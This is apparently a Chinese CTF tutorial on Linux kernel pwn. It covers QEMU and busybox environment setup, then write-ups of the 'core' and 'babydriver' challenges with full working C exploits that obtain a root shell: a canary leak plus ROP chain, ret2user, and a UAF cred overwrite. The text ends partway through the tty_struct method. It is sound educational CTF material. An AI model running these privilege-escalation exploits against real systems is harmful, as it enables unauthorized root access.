kernel PWN入门

环境搭建

这一部分是参考的arttnba3师傅的这篇博客,Linux Kernel II:内核简易食用指北

这里简化了文章中的许多内容,旨在快速的搭建起一个kernel pwn的环境和理解pwn题中的一些关键文件的来源。如果想对kernel的知识有更深的一些了解,十分推荐去看arttnba3师傅的原文。

1.安装依赖

$ sudo apt-get update
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils
$ qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev

2.获取内核镜像

直接下载发行版中已有的内核镜像,首先用以下命令列出可以下载的内核镜像:

$ sudo apt search linux-image- 

这里我选择的是

$  sudo apt download linux-image-unsigned-6.8.0-40-generic

下载下来是一个deb文件,解压:

$ dpkg -X ./linux-image-unsigned-6.8.0-40-generic_6.8.0-40.40~22.04.3_amd64.deb extract

其中,\extract\boot下的vmlinuz-6.8.0-40-generic就是我们之后经常见到的bzImage内核镜像文件。

使用 busybox 构建文件系统

1.编译busybox

首先可以在https://busybox.net/downloads/这里下载自己想要的版本。我选择的是busybox-1.37.0.tar.bz2这个版本

$ wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2

解压:

$ tar -jxvf busybox-1.37.0.tar.bz2

接下来我们配置编译选项:

$ cd busybox-1.37.0/
$ make menuconfig

进入到图形化界面,使用空格勾选Settings–>**Build static binary (no shared libs) (NEW)**。

接下来就是编译:

$ make -j$(nproc)
$ make install

编译完成后会生成一个 _install 目录,接下来我们将会用它来构建文件系统。

2.构建文件系统

初始化:

$ cd _install/
$ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
$ touch etc/inittab
$ mkdir etc/init.d
$ touch etc/init.d/rcS
$ chmod +x ./etc/init.d/rcS

配置 etc/inttab ,写入如下内容:

::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

然后在_install目录下创建init文件,写入:

#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
su ctf -c sh

poweroff -d 0  -f

添加可执行权限:

$ chmod +x ./init

接下来配置用户组:

$ echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
$ echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
$ echo "root:x:0:" > etc/group
$ echo "ctf:x:1000:" >> etc/group
$ echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

3.打包镜像

使用如下命令打包文件系统为 cpio 格式

$ find . | cpio -o --format=newc > ../../rootfs.cpio

这里我打包到了桌面上,当然这里可以打包到任意喜欢的位置。

4.使用qemu运行内核

首先下载qemu:

$ sudo apt update
$ sudo apt install qemu-system-x86 qemu-utils

将之前的rootfs.cpio和bzImage(就是这个:vmlinuz-6.8.0-40-generic)放在同一个目录下

然后我们编写启动脚本:

$ touch boot.sh

向脚本中写入:

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s

接下来运行脚本:

$ sh boot.sh

启动成功:

Boot took 5.24 seconds

~ $ ls /
bin      etc      init     lib64    proc     sbin     tmp
dev      home     lib      linuxrc  root     sys      usr
~ $ whoami
ctf
~ $

至此,我们构建了一个十分简单内核并且成功运行。

kerinel pwn的一些基础知识

关于这个部分,网上已经有不少优秀的文章了,并且kernel的知识多的吓人,我在此就不多做赘述了,为大家贴出几篇优秀的文章:

ctfwiki

Linux Kernel Pwn 初探

钞sir师傅的论坛

Linux Kernel PWN | 01 From Zero to One

一些常用的命令和调试方法

常用的命令

打包文件系统为 cpio 格式:

$ find . | cpio -o --format=newc > ../rootfs.cpio

解压cpio文件:

$ cpio -idmv < rootfs.cpio

如果我们用file命令发现文件经过gzip压缩,就像这样:

$ file ../rootfs.cpio
../rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672

就要使用:

$ gunzip -c ../rootfs.cpio > rootfs.cpio.extracted  # 解压gzip,生成cpio归档文件
$ cpio -idmv < rootfs.cpio.extracted  # 提取cpio归档内容到当前目录

由于我们在kernel中写exp要用c语言并且编译为可执行程序,所以要用到:

$ gcc exp.c -static -masm=intel -g -o exp

有时题目不会给我们vmlinux这个文件,我们可以用脚本提取出来,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。
这里我们也直接给出来:

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for    pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if    [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:

./extract-vmlinux ./bzImage > vmlinux

之后我们就可以用ROPgadget或者ropper找gadget了。

动态调试的方法

介绍一下使用GDB进行动调的方法:

首先我们要得到.ko驱动的符号表,这个地址在内核中的/sys/module/core/section/.text里,可以用cat来查看,但是这个位置一般都需要root权限,为了方便调试,要修改init中的启动权限:

#setsid /bin/cttyhack setuidgid 1000 /bin/sh 
setsid /bin/cttyhack setuidgid 0 /bin/sh     -> root

接下来启动内核,使用cat /sys/module/core/section/.text得到.text的地址。

使用gdb ./vmlinux -q启动gdb,
但是此时没有加载驱动.ko的符号表,需要使用

pwndbg> add-symbol-file filename.ko textaddr

来加载,

然后就可以使用b下断点了,之后再使用

pwndbg> target remote localhost:1234

就可以连接上kernel了。

两个例题

core

解压完成后有四个文件,

  • bzImage:压缩的内核映像
  • core.cpio:文件系统映像
  • start.sh:用于启动 kernel 的 shell 的脚本
  • vmlinux:静态链接的可执行文件格式的 Linux 内核

先让我们查看一下start.sh的内容:

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \  # 启用 GDB 调试服务器,默认监听 localhost:1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

启用了kaslr保护,并且最好将64M改为128M或者256M,否则可能会启动失败。

接下来把core.cpio解压出来,查看init文件:

#!/bin/sh
mount -t proc proc /proc  
mount -t sysfs sysfs /sys 
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms  # 将内核符号表转储到 /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict # 禁止普通用户查看内核符号地址,但是由于上一行转储了文件,这一行实际上就没有用了
echo 1 > /proc/sys/kernel/dmesg_restrict #禁止普通用户查看内核日志,即不能通过dmesg查看kernel的信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko  #加载内核模块 core.ko

poweroff -d 120 -f & #后台启动 120 秒后强制关机,可以把这一行注释
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

从上面的脚本注意到:/proc/kallsyms的内容被转储到了/tmp/kallsyms,这就意味着我们可以在普通权限下得到函数的地址。

然后,让我们着重分析core.ko这个文件,checksec一下:

Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x0)
Stripped:   No

拖进ida分析,

  • 先来看看init函数:在/proc 文件系统中动态创建一个名为 core 的虚拟文件,我们对ioctl等驱动函数的访问就是通过这个文件来实现的。同时在core_fops里定义了三个回调函数:core_writecore_ioctl,core_release

    __int64 init_module()
    {
      core_proc = proc_create("core", 438LL, 0LL, &core_fops);
      printk(&unk_2DE);
      return 0LL;
    }
    
  • exit_core函数:移除/proc/core

    __int64 exit_core()
    {
      __int64 result; // rax
    
      if ( core_proc )
        return remove_proc_entry("core");
      return result;
    }
    
  • core_release函数:

    __int64 core_release()
    {
      printk(&unk_204);
      return 0LL;
    }
    
  • core_ioctl函数:定义了三条命令,我们可以使用ioctl(fd, cmd, …)来执行不同的操作。可以看到,当cmd=0x6677889C时,我们可以设置off这个全局变量的值。

    __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
    {
      switch ( a2 )
      {
        case 0x6677889B:
          core_read(a3);
          break;
        case 0x6677889C:
          printk(&unk_2CD);
          off = a3;
          break;
        case 0x6677889A:
          printk(&unk_2B3);
          core_copy_func(a3);
          break;
      }
      return 0LL;
    }
    
  • core_read函数:存在canary,并且发现** copy_to_user(a1, &v5[off], 64LL);**可以从v5[off]的位置拷贝64字节到用户空间上,之前提到off的值是可以被控制的,那么我们就可以轻松的泄露出canary的值。

    unsigned __int64 __fastcall core_read(__int64 a1)
    {
      char *v2; // rdi
      __int64 i; // rcx
      unsigned __int64 result; // rax
      char v5[64]; // [rsp+0h] [rbp-50h] BYREF
      unsigned __int64 v6; // [rsp+40h] [rbp-10h]
    
      v6 = __readgsqword(0x28u);
      printk(&unk_25B);
      printk(&unk_275);
      v2 = v5;
      for ( i = 16LL; i; --i )
      {
        *(_DWORD *)v2 = 0;
        v2 += 4;
      }
      strcpy(v5, "Welcome to the QWB CTF challenge.\n");
      result = copy_to_user(a1, &v5[off], 64LL);
      if ( !result )
        return __readgsqword(0x28u) ^ v6;
      __asm { swapgs }
      return result;
    }
    
  • core_copy_func函数:注意到传入的a1是__int64型,但是下面使用qmemcpy时是unsigned型,意味着我们可以使用负数来溢出。那么接下来我们只需要控制全局变量name的值就可以控制程序执行流了。

    __int64 __fastcall core_copy_func(__int64 a1)
    {
      __int64 result; // rax
      _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
    
      v2[8] = __readgsqword(0x28u);
      printk(&unk_215);
      if ( a1 > 63 )
      {
        printk(&unk_2A1);
        return 0xFFFFFFFFLL;
      }
      else
      {
        result = 0LL;
        qmemcpy(v2, &name, (unsigned __int16)a1);
      }
      return result;
    }
    
  • core_write函数:前面提到这是FOP回调定义的函数,所以我们直接使用write这个函数,就能将数据传入name中。

    __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
      printk(&unk_215);
      if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
        return (unsigned int)a3;
      printk(&unk_230);
      return 0xFFFFFFF2LL;
    }
    

    至此,逆向的工作就差不多了,漏洞利用的流程也很简单:

  • 1.设置off以泄露canary

  • 2.将payload传入name

  • 3.利用负数溢出打ROP

但是,还有一个小问题没有解决:本题是开启了KASLR保护的,我们还需要泄露函数地址和基地址。
先介绍几个概念:

  • raw_vmlinux_base:KASLR 加工前的内核加载基址
  • vmlinux_base:KASLR 加工后的内核加载基址

我们需要得到一个KASLR对内核基址的偏移,这个偏移offset=vmlinux_base - raw_vmlinux_base。

然后我们就可以通过这个offset得到其他函数和gadget的实际加载地址了。

raw_vmlinux_base的值可以通过checksec vmlinux得到:由于本题没开PIE,所以就是下面的0xffffffff81000000。

Arch:       amd64-64-little
Version:    4.15.8
RELRO:      No RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0xffffffff81000000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

对于本题,由于内核符号表(/tmp/kallsyms)可读,所以我们选择泄露commit_credsprepare_kernel_cred这两个函数。

这两个函数的偏移我们可以直接写python脚本来泄露:

from pwn import *
elf = ELF("./vmlinux")
raw_vmlinux_base = 0xffffffff81000000
print(f"commit_creds: " + hex(elf.symbols['commit_creds'] - raw_vmlinux_base))
print(f"prepare_kernel_cred: " + hex(elf.symbols['prepare_kernel_cred'] - raw_vmlinux_base))

这里有一个问题,题目直接给出的vmlinux是有问题的,不能用,要用解压core.cpio出来得到的那个vmlinux。
得到:

commit_creds: 0x9c8e0
prepare_kernel_cred: 0x9cce0

gadget的寻找还是可以用ROPgadget或ropper,但有的时候单独只用一个可能会找不到某些gadget,但是另一个可以找到(真奇怪。

官方的exp,这是使用ROP的:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>

void spawn_shell() 
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000; 
size_t vmlinux_base = 0;
size_t find_symbols() 
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    } 

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred) 
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {   
             char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0; 
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

//保存用户态环境
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx) 
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) 
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf); 

}

void core_copy_func(int fd, long long size) 
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols(); 
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40); 

    char buf[0x40] = {0};
    core_read(fd, buf); 
    size_t canary = ((size_t *)buf)[0]; 
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0}; 

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary; 
    }

    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    
    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;
    
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;  

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800); 
    core_copy_func(fd, 0xffffffffffff0000 | (0x100)); 
    return 0;
}

接下来把这个.c文件gcc后重新打包,启动kernel后执行这个文件,就可以提权了。

还有一种使用ret2user的方式,比起ROP更简单,但是只能在未开启 SMAP/SMEP 保护时使用,大体流程和上面差不多,只是在构造ROP时有一点点区别,这里就不再赘述了,给出exp:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define  IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    int fd = open("/proc/core", 2);
    if(fd <0)
    {
        printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
        exit(-1);
    }

    //get the addr
    FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }

    size_t offset = commit_creds - 0xffffffff8109c8e0;

    // get the canary
    size_t canary;
    setOffValue(fd, 64);
    coreRead(fd, buf);
    canary = ((size_t *)buf)[0];

    //construct the ropchain
    size_t rop_chain[0x100], i = 0;
    for(; i < 10;i++)
        rop_chain[i] = canary;
    rop_chain[i++] = (size_t)getRootPrivilige;
    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)getRootShell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;

    write(fd, rop_chain, 0x800);
    coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

babydriver

题目链接:CISCN2017-babydriver

题目解压出来后,发现没有vmlinux文件,可以用上面提到的方法来提取。

还是先看看boot.sh这个脚本:

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

开启了SEMP保护,没有KASLR。

解压rootfs.cpio后看看init:

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev 
chown root:root flag  #设置文件flag的所有者为root用户和组。
chmod 400 flag  #限制flag文件仅允许root用户读取,其他用户无权限。
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

加载了一个叫babydriver.ko的驱动,漏洞一般就在这里。

checksec一下:只开了NX

Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No
    Debuginfo:  Yes

拖进ida分析,

  • 首先是babydriver_init函数:初始化了/dev/babydev,在fop里定义了几个回调函数。

    int __cdecl babydriver_init()
    {
      __int64 v0; // rdx
      int v1; // edx
      __int64 v2; // rsi
      __int64 v3; // rdx
      int v4; // ebx
      class *v5; // rax
      __int64 v6; // rdx
      __int64 v7; // rax
    
      if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
      {
        cdev_init(&cdev_0, &fops);
        v2 = babydev_no;
        cdev_0.owner = &_this_module;
        v4 = cdev_add(&cdev_0, babydev_no, 1LL);
        if ( v4 >= 0 )
        {
          v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
          babydev_class = v5;
          if ( v5 )
          {
            v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
            v1 = 0;
            if ( v7 )
              return v1;
            printk(&unk_351, 0LL, 0LL);
            class_destroy(babydev_class);
          }
          else
          {
            printk(&unk_33B, "babydev", v6);
          }
          cdev_del(&cdev_0);
        }
        else
        {
          printk(&unk_327, v2, v3);
        }
        unregister_chrdev_region(babydev_no, 1LL);
        return v4;
      }
      printk(&unk_309, 0LL, v0);
      return 1;
    }
    
  • babyopen函数:在我们使用open打开设备文件时,会分配一个0x40大小的chunk,并将该chunk的指针存在全局变量babydev_struct.device_buf中。

    int __fastcall babyopen(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
      babydev_struct.device_buf_len = 64LL;
      printk("device open\n", 37748928LL, v2);
      return 0;
    }
    
  • babyrelease函数:在使用close(fd)时调用该函数,释放babydev_struct.device_buf指向的chunk,但是未将指针置NULL,存在UAF。

    1
    2
    3
    4
    5
    6
    7
    8
    9
     int __fastcall babyrelease(inode *inode, file *filp)
    {
    __int64 v2; // rdx

    _fentry__(inode, filp);
    kfree(babydev_struct.device_buf);
    printk("device release\n", filp, v2);
    return 0;
    }
  • babyioctl函数:只有一个功能,当command=0x10001时,先free掉babydev_struct.device_buf指向的chunk,然后可以申请任意大小的堆块。

    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
      size_t v3; // rdx
      size_t v4; // rbx
      __int64 v5; // rdx
    
      _fentry__(filp, *&command, arg);
      v4 = v3;
      if ( command == 0x10001 )
      {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n", 0x24000C0LL, v5);
        return 0LL;
      }
      else
      {
        printk(&unk_2EB, v3, v3);
        return -22LL;
      }
    }
    

    babywrite和babyread函数就是正常的读写chunk,这里就不提了。

由上面的逆向分析可以发现,本题的漏洞是一个伪条件竞争的UAF漏洞,即:如果我们同时使用open打开两个设备,由于 babydev_struct.device_buf是一个全局变量,第二次会将第一次分配的空间给覆盖了。此时如果我们释放第一个,那么实际上就会将第二个给释放了,造成了UAF。

关于这里为什么要打开两个设备,不能只在一个设备里完成UAF,是因为:babyrelease这个函数并不是一个FOP定义的回调函数,我们不能使用。这个函数只会在close(fd)时自动调用,但是close后我们就不能再操作这个设备了。所以这里要用两个设备来构造UAF。

知道如何得到UAF,接下来就该想想怎么提权了,这里介绍两种方法:

改cred结构体

这种方法的利用思路是,利用ioctl调整一个chunk的大小为一个cred结构体的大小(0xa8),然后关闭该设备,再fork()出一个新进程,那么刚才被释放的chunk就会被分配做新进程的cred结构体,而我们此时还有另一个设备可以操控该chunk,这时只需将该cred结构体中的euid改为0(root)即可完成提权。

exp:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void){
    printf("[*]Start to exploit...\n");
    
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);
    
    ioctl(fd1,0x10001,0xa8); //修改为cred结构体大小的chunk
    close(fd1);  //得到垂悬指针
    
    int pid = fork();
    
    if(pid < 0){
        printf("[x] Unable to fork the new thread, exploit failed.\n");
    }
    else if(pid == 0){
        char buf[30] = {0};
        write(fd2,buf,28); //修改cred结构体
        
        if(getuid() == 0){
            printf("[+] Successful to get the root. Execve root shell now...\n");
            system("/bin/sh");
            return 0;
        }
        else{
        printf("[x] Unable to get the root, exploit failed.\n");
        return -1;
        }
    }
    else{
        wait(NULL);
    }
    return 0;
}

改tty结构体

上面改cred结构体的方法很简单,但是上述是在kernel版本为4.4.72的情况下进行操作的,在kernel版本为4.5之后出现了一点变化,让我们看看源码:

  • 4.4.72

    void __init cred_init(void)
    {
        /* allocate a slab in which we can store credentials */
        cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                         0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
    }
    
  • 4.5

    void __init cred_init(void)
    {
        /* allocate a slab in which we can store credentials */
        cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
                SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
    }
    

注意到,在4.5中添加了一个SLAB_ACCOUNT标志位,我们知道内核中的 slab 分配器有一个优化机制,会将属性完全一致的缓存合并,以便复用同一套内存管理逻辑。例如,如果没有SLAB_ACCOUNT标志,cred_jar 创建出来的 slab 缓存与 kmalloc 用于分配 192 字节对象的缓存(通常称为 kmalloc-192)属性一致,那么这两者就会合并在一起。

当在创建 cred_jar 时额外加上了 SLAB_ACCOUNT 标志,这就改变了 cred_jar 的属性。内核会认为它与 kmalloc-192 的缓存不再相同,从而不会进行合并。

结果就是,如果通过 kmalloc 分配 192 字节的内存,内核不会去使用 cred_jar 中的对象,而是使用 kmalloc-192 自己的缓存。这就要求如果想使用 cred_jar,必须通过直接调用 kmem_cache_alloc(cred_jar, …) 来分配对象,而不能通过 kmalloc 来间接分配。

也就是说,第一种方法从此失效了,我们必须寻找另外的方法来提权。

我们这里选用tty设备。

有关这个设备的介绍,,我们只在这里简要介绍了,详细的知识可以看这几篇文章:
一文彻底讲清Linux tty子系统架构及编程实例
linux kernel pwn 常用结构体

当用户执行open(“/dev/ptmx”, O_RDWR),kernel会分配一个tty_struct结构体(本题版本该结构体大小为0x2e0)。

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

  ......
  //完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty.h#L272

我们重点关注这个**const struct tty_operations *ops;**:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);

......
//完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty_driver.h#L251

